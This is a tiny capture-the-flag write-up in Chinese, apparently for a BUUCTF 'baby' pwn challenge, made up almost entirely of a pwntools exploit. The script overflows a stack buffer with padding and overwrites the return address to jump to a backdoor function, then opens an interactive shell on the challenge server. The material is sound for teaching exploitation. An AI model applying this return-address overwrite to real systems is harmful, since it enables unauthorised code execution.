真的是 baby 难度，直接栈溢出跳转到后门函数
from pwn import * io = remote('node3.buuoj.cn',25930) backdoor = 0x4006e6 payload = 'a' * (0x10+8) + p64(backdoor) io.sendline('100') io.sendline(payload) io.interactive()
